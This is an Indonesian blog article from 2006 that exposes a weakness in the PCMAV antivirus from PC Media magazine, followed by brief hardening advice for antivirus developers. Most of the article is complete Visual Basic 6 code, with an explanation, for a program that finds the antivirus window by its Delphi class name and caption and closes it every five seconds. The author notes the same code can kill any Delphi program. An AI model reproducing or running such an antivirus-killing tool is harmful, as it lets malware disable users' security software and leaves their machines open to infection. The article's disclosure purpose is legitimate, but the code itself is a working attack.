|
|
|
BUG ANTIVIRUS PC MEDIA
|
Date: Tuesday, March 14, 2006
Hits: 2693
By: Ari Wardana
|
|
Pada bulan Maret ini Majalah PC Media telah membuat program AntiVirus bernama
PCMAV dengan jaminan kepuasan 100% untuk dapat mengatasi Brontok dan variannya
secara akurat dan tuntas baik di memory, registry, file dan folder yang
tersebunyi. Apakah anda sudah mempunyainya ?
Antivirus tersebut menurut saya terlalu digembor-gemborkan seperti tanpa
kelemahan sama sekali. Oke, dengan pengalaman saya selama 13 bulan sebagai
programmer (bukan 13 tahun Bo). Saya akan tunjukkan kelemahannya. Kita akan buat
suatu program di Visual Basic 6 yang akan membuat program AntiVirus tersebut
bertekuk lutut. Selama program ini bekerja, program antivirus tersebut tidak
akan bisa bekerja.
Program ini hanya memerlukan 1 buah form tanpa file modul. Kontrol yang
diperlukan hanya 1 buah tombol bercaption Run , dan 1 buah timer berinterval
1000 dan enablednya diset False.
Kode yang dimasukkan adalah sebagai berikut :
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA"
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal
hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
As Long
Private Const WM_CLOSE = &H10
Dim x as Long
Private Sub Command1_Click()
If Command1.Caption = "Run" Then
Timer1.Enabled = True
Command1.Caption = "Stop"
Else
Timer1.Enabled = False
Command1.Caption = "Run"
End If
End Sub
Private Sub Timer1_Timer()
If Second(Now) Mod 5 = 0 Then
x = FindWindow("TMainForm", vbNullString)
SendMessage x, WM_CLOSE, 0, 0
End If
End Sub |
Adapun keterangan dari kode diatas adalah sebagai berikut :
Saat anda menekan tombol Run maka timer akan bekerja dan captionnya akan berubah
menjadi “Stop”. Dalam prosedur Timer dicari nilai handle window yang nama
kelasnya TMainForm (program antivirus tersebut dibuat dengan Delphi sehingga
nama kelas Windownya TMainForm), setelah di dapatkan nilai handle-nya (dalam
variable x) maka program tersebut akan dimatikan dengan fungsi Windows API
SendMessage.
Kode diatas juga bisa digunakan untuk mematikan semua program yang dibuat dengan
Delphi. Jika ingin lebih spesifik maka kita harus memasukkan nilai captionnya
pada fungsi FindWindow. Untuk program antivirus PC Media caption programnya
adalah PCMAV, sehingga yang dimasukkan dalam fungsi FindWindow adalah :
x = FindWindow("TMainForm", “PCMAV”)
Jadi selama nama kelasnya TMainForm dan Captionnya PCMAV maka program antivirus
tersebut dijamin dalam 5 detik akan langsung dimatikan. Saran saya tuk
pengembang software antivirus sebaiknya gunakan program C, entah Visual C atau
yang sejenisnya, karena nama kelasnya dapat dengan mudah diatur sehingga dapat
menghindar dari prosedur yang saya sampaikan ini, dan yang kedua hindari
penggunaan nilai caption yang tetap, kalo perlu ikat dengan timer sehingga
nilainya berubah-rubah sepanjang waktu. Kayaknya gitu aja deh yang saya bisa
sampaikan tentang satu kelemahan dari Antivirus buatan Lokal supaya cepat
diperbaiki developernya dan pelajaran bagi programmer antivirus lainnya.
Ari Wardana
| | |